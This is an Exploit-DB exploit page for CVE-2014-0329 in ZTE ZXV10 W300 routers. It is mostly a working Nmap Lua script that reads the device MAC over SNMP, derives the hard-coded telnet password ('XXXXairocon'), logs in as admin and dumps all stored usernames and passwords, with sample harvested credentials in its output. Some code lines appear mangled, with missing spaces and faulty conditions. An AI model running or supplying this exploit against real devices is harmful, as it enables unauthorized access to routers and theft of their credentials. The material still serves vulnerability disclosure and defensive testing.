ZTE ZXV10 W300 Router – Hard-Coded Credentials

  • 作者: Cesar Neira
    日期: 2014-02-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31527/
  • # Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
    # Date: 03 Feb 2014
    # Exploit Author: Cesar Neira
    # Vendor Homepage: http://wwwen.zte.com.cn/
    # Version: ZTE ZXV10 W300 v2.1
    # CVE : CVE-2014-0329
    # Dork (Shodan): Basic realm="index.htm"
    # References:
    http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
    
    
    local nmap = require "nmap"
    local stdnse = require "stdnse"
    local snmp = require "snmp"
    local vulns = require "vulns"
    
    description = [[
    ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
    telnet service on the device. The username is "admin" and the password is
    "XXXXairocon" where "XXXX" is the last four characters of the device's MAC
    address. The MAC address is obtainable over SNMP with community string public.
    ]]
    author = "Cesar Neira"
    license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
    categories = {"vuln", "exploit", "intrusive"}
    
    ---
    --
    -- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
    -- @output
    -- PORTSTATE SERVICE
    -- 23/tcpopentelnet
    -- 161/udp open|filtered snmp
    -- 
    -- Host script results:
    -- | airocon: 
    -- | VULNERABLE:
    -- | ZTE ZXV10 W300 router contains hardcoded credentials
    -- | State: VULNERABLE (Exploitable)
    -- | IDs:CVE:CVE-2014-0329
    -- | Risk factor: HighCVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
    -- | Description:
    -- | ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
    -- | service on the device. The username is "admin" and the password is "XXXXairocon"
    -- | where "XXXX" is the last four characters of the device's MAC address. The MAC address
    -- | is obtainable over SNMP with community string public.
    -- | Disclosure date: 2014-2-3
    -- | Exploit results:
    -- | admin:1234
    -- | support:1234
    -- | admin:0E91airocon
    -- | References:
    -- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
    -- | http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
    -- |_http://www.kb.cert.org/vuls/id/228886
    
    -- @args community SNMP community (Default: public)
    --
    ---
    
    
    local DEFAULT_COMMUNITY = "public"
    
    
    hostrule = function(host)
    local snmp_port, telnet_port
    
    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_portand not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
    return false
    end
    
    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
    return false
    end
    
    return true
    end
    
    
    local get_mac = function(host, community)
    	local socket, status, response
    	
    	socket = nmap.new_socket("udp")
    	socket:set_timeout(5000)
    
    	status, response = socket:connect(host, 161)
    	
    	if not status then
    	socket:close()
    	return status, response
    	end
    	
    	local payload, request
    
    	request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
    	payload = snmp.encode(snmp.buildPacket(request, 0, community))
    	
    	status, response = socket:send(payload)
    	
    	if not status then
    	socket:close()
    	return status, response
    	end
    	
    status, response = socket:receive_bytes(1)
    
    if not status then
    socket:close()
    return status, response
    end
    
    socket:close()
    
    local result
    	result = snmp.fetchFirst(response)
    
    if not result then
    return false, "Unexpected response value."
    end
    
    return true, stdnse.tohex(result)
    end
    
    
    local dump_creds = function(host, user, password)
    local socket, status, response
    
    socket = nmap.new_socket("tcp")
    socket:set_timeout(5000)
    
    status, response = socket:connect(host, 23)
    
    if not status then
    socket:close()
    	return status, response
    	end
    	
    	local payload
    	payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"
    	
    	status, response = socket:send(payload)
    	
    	if not status then
    	socket:close()
    	return status, response
    	end
    	
    	status, response = socket:receive_buf("exit", false)
    	
    	if not status then
    	socket:close()
    	return status, response
    	end
    	
    	socket:close()
    	
    	return true, response
    end
    
    
    local parse_response = function(response)
    local index
    
    	index = string.find(response, "Username +Password +Priority")
    	
    	if not index then
    	return false, "Unexpected response value."
    	end
    
    	index = string.find(response, "\r\n", index) + 2
    	response = string.sub(response, index)
    
    local result, endl, line
    result = {}
    	
    	index = 0
    	endl = string.find(response, "\r\n", index)
    
    	while endl do
    	line = string.sub(response, index, endl)
    	line = string.gsub(line, "\r", "")
    line = string.gsub(line, "^ +", "")
    line = string.gsub(line, " +$", "")
    line = string.gsub(line, " +", " ")
    
    local user, pass, prio
    for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
    local aux = {}
    aux['username'] = user
    aux['password'] = pass
    aux['priority'] = prio
    table.insert(result, aux)
    end
    	
    	index = endl + 2
    	endl = string.find(response, "\r\n", index)
    	end
    	
    return true, result
    end
    
    
    action = function(host)
    local vuln = {
    title = "ZTE ZXV10 W300 router contains hardcoded credentials",
    state = vulns.STATE.NOT_VULN,
    IDS = {CVE = 'CVE-2014-0329'},
    risk_factor = "High",
    scores = {
    CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
    },
    description = [[
    ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
    service on the device. The username is "admin" and the password is "XXXXairocon"
    where "XXXX" is the last four characters of the device's MAC address. The MAC address
    is obtainable over SNMP with community string public.]],
    references = {
    "http://www.kb.cert.org/vuls/id/228886",
    "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
    },
    dates = {
    disclosure = {year = 2014, month = 2, day = 3},
    },
    exploit_results = {},
    }
    
    local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
    
    local status, response
    
    status, response = get_mac(host, community)
    if not status then
    return response
    end
    
    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"
    
    status, response = dump_creds(host, "admin", password)
    if not status then
    return response
    end
    
    status, response = parse_response( response )
    if not status then
    return response
    end
    
    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
    table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end
    
    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
    end